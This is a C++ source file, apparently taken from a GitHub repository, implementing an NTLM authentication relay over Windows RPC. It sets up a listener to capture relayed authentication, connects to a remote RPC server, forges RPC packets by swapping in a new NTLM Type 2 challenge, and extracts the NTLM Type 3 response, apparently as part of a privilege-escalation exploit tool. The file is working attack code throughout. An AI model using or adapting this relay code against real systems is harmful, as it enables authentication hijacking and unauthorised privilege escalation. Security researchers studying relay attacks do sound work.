-
Notifications
You must be signed in to change notification settings - Fork 214
/
Copy pathRelayLib.cpp
233 lines (200 loc) · 6.51 KB
/
RelayLib.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
#define WIN32_LEAN_AND_MEAN
#include "Windows.h"
#include "stdio.h"
#include <winsock2.h>
#include <ws2tcpip.h>
#include <stdlib.h>
#include "RelayLib.h"
#pragma comment (lib, "Ws2_32.lib")
#pragma warning(disable : 4996) //_CRT_SECURE_NO_WARNINGS
SOCKET CreateRPCSocketListen(const wchar_t* listenport) {
WSADATA wsaData;
int iResult;
char listen_port_a[12];
SOCKET ListenSocket = INVALID_SOCKET;
SOCKET ClientSocket = INVALID_SOCKET;
struct addrinfo* result = NULL;
struct addrinfo hints;
// Initialize Winsock
iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
if (iResult != 0) {
printf("WSAStartup failed with error: %d\n", iResult);
exit(-1);
}
ZeroMemory(&hints, sizeof(hints));
hints.ai_family = AF_INET;
hints.ai_socktype = SOCK_STREAM;
hints.ai_protocol = IPPROTO_TCP;
hints.ai_flags = AI_PASSIVE;
memset(listen_port_a, 0, 12);
wcstombs(listen_port_a, listenport, 12);
// Resolve the server address and port
iResult = getaddrinfo(NULL, listen_port_a, &hints, &result);
if (iResult != 0) {
printf("getaddrinfo failed with error: %d\n", iResult);
WSACleanup();
exit(-1);
}
// Create a SOCKET for connecting to server
ListenSocket = socket(result->ai_family, result->ai_socktype, result->ai_protocol);
if (ListenSocket == INVALID_SOCKET) {
printf("socket failed with error: %ld\n", WSAGetLastError());
freeaddrinfo(result);
WSACleanup();
exit(-1);
}
// Setup the TCP listening socket
iResult = bind(ListenSocket, result->ai_addr, (int)result->ai_addrlen);
if (iResult == SOCKET_ERROR) {
printf("bind failed with error: %d\n", WSAGetLastError());
freeaddrinfo(result);
closesocket(ListenSocket);
WSACleanup();
exit(-1);
}
freeaddrinfo(result);
printf("[*] RPC relay server listening on port %S ...\n", listenport);
iResult = listen(ListenSocket, SOMAXCONN);
if (iResult == SOCKET_ERROR) {
printf("listen failed with error: %d\n", WSAGetLastError());
closesocket(ListenSocket);
WSACleanup();
exit(-1);
}
// Accept a client socket
ClientSocket = accept(ListenSocket, (sockaddr*)NULL, (int*)NULL);
if (ClientSocket == INVALID_SOCKET) {
printf("accept failed with error: %d\n", WSAGetLastError());
closesocket(ListenSocket);
WSACleanup();
exit(-1);
}
printf("[+] Received the relayed authentication on the RPC relay server on port %S\n", listenport);
// No longer need server socket
closesocket(ListenSocket);
return ClientSocket;
}
SOCKET CreateRPCSocketReflect(const wchar_t* remoteRPCIp, const wchar_t* remoteRPCport) {
//----------------------
// Initialize Winsock
char remoteRPCIp_a[20];
char remoteRPCport_a[12];
int remotePort;
WSADATA wsaData;
int iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
if (iResult != NO_ERROR) {
wprintf(L"WSAStartup function failed with error: %d\n", iResult);
return 1;
}
//----------------------
// Create a SOCKET for connecting to server
SOCKET ConnectSocket;
ConnectSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (ConnectSocket == INVALID_SOCKET) {
wprintf(L"socket function failed with error: %ld\n", WSAGetLastError());
WSACleanup();
return 1;
}
//----------------------
// The sockaddr_in structure specifies the address family,
// IP address, and port of the server to be connected to.
memset(remoteRPCport_a, 0, 12);
wcstombs(remoteRPCport_a, remoteRPCport, 12);
memset(remoteRPCIp_a, 0, 20);
wcstombs(remoteRPCIp_a, remoteRPCIp, 20);
remotePort = atoi(remoteRPCport_a);
sockaddr_in clientService;
clientService.sin_family = AF_INET;
clientService.sin_addr.s_addr = inet_addr(remoteRPCIp_a);
clientService.sin_port = htons(remotePort);
//----------------------
// Connect to server.
iResult = connect(ConnectSocket, (SOCKADDR*)& clientService, sizeof(clientService));
if (iResult == SOCKET_ERROR) {
wprintf(L"CreateRPCSocketReflect: connect function failed with error: %ld\n", WSAGetLastError());
printf("Couldn't connect to RPC Server %S on port %S\n", remoteRPCIp, remoteRPCport);
iResult = closesocket(ConnectSocket);
if (iResult == SOCKET_ERROR)
wprintf(L"closesocket function failed with error: %ld\n", WSAGetLastError());
WSACleanup();
return 1;
}
printf("[*] Connected to RPC Server %S on port %S\n", remoteRPCIp, remoteRPCport);
return ConnectSocket;
}
void ForgeAndAlterType2Rpc(char* rpcType2Packet, int rpcType2PacketLen, int authIndexStart, char* ntlmType2, int ntlmType2Len, char* newRpcType2Packet) {
short* fragLen = (short*)rpcType2Packet + 4;
short* authLen = (short*)rpcType2Packet + 5;
int ntlmPacketLen = rpcType2PacketLen - authIndexStart;
*fragLen = *fragLen - ntlmPacketLen + ntlmType2Len;
*authLen = ntlmType2Len;
memcpy(newRpcType2Packet, rpcType2Packet, authIndexStart);
memcpy(newRpcType2Packet + authIndexStart, ntlmType2, ntlmType2Len);
}
void ExtractType3FromRpc(char* rpcPacket, int rpcPacketLen, char* ntlmType3, int* ntlmType3Len) {
int ntlmIndex = findNTLMBytes(rpcPacket, rpcPacketLen);
short* authLen = (short*)rpcPacket + 5;
memcpy(ntlmType3, rpcPacket + ntlmIndex, *authLen);
*ntlmType3Len = (int)* authLen;
}
int findNTLMBytes(char* bytes, int len) {
//Find the NTLM bytes in a packet and return the index to the start of the NTLMSSP header.
//The NTLM bytes (for our purposes) are always at the end of the packet, so when we find the header,
//we can just return the index
char pattern[7] = { 0x4E, 0x54, 0x4C, 0x4D, 0x53, 0x53, 0x50 };
int pIdx = 0;
int i;
for (i = 0; i < len; i++) {
if (bytes[i] == pattern[pIdx]) {
pIdx = pIdx + 1;
if (pIdx == 7) return (i - 6);
}
else {
pIdx = 0;
}
}
return -1;
}
//debug
void hexDump2(char* desc, void* addr, int len) {
int i;
unsigned char buff[17];
unsigned char* pc = (unsigned char*)addr;
// Output description if given.
if (desc != NULL)
printf("%s:\n", desc);
if (len == 0) {
printf(" ZERO LENGTH\n");
return;
}
if (len < 0) {
printf(" NEGATIVE LENGTH: %i\n", len);
return;
}
// Process every byte in the data.
for (i = 0; i < len; i++) {
// Multiple of 16 means new line (with line offset).
if ((i % 16) == 0) {
// Just don't print ASCII for the zeroth line.
if (i != 0)
printf(" %s\n", buff);
// Output the offset.
printf(" %04x ", i);
}
// Now the hex code for the specific character.
printf(" %02x", pc[i]);
// And store a printable ASCII character for later.
if ((pc[i] < 0x20) || (pc[i] > 0x7e))
buff[i % 16] = '.';
else
buff[i % 16] = pc[i];
buff[(i % 16) + 1] = '\0';
}
// Pad out last line if not exactly 16 characters.
while ((i % 16) != 0) {
printf(" ");
i++;
}
// And print the final ASCII bit.
printf(" %s\n", buff);
}